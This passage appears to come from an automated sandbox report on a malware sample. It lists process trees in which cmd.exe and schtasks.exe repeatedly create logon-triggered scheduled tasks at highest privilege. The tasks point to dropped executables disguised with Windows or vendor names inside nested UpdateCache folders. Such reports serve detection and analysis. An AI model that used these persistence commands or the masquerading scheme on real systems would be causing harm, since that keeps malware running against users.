    - Scheduled Task/Job: Scheduled Task
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_MRINFO_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\MRINFO.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_MRINFO_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\MRINFO.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6108
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_7" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1816
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_1" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_3" /tr ""C:\ProgramData\MicrosoftService\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:684
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_svchost_3" /tr ""C:\ProgramData\MicrosoftService\svchost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_5" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wusa.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\wusa.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4888
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4900
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5732
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5400
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1756
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3804
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2572
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5960
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5736
- C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe
  "C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_2" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_2" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rrinstaller_6" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rrinstaller_6" /tr ""C:\Users\Admin\AppData\Local\Temp\{5E553EC5-A9D7-4632-9DA7-38A0D64FDF86}\Logs\UpdateCache\UpdateCache\UpdateCache\rrinstaller.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3056
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:5656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_3" /tr ""C:\ProgramData\MicrosoftService\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_3" /tr ""C:\ProgramData\MicrosoftService\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4488
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_label_7" /tr ""C:\ProgramData\MicrosoftService\label.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5344
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_label_7" /tr ""C:\ProgramData\MicrosoftService\label.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5024
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:6120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:5752
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_credwiz_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\credwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_credwiz_3" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\credwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tasklist_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tasklist_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tasklist.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1288
- C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe
  "C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3200
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_1" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:248
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_1" /tr ""C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_2" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_2" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3944
- C:\Windows\SysWOW64\cmd.exe
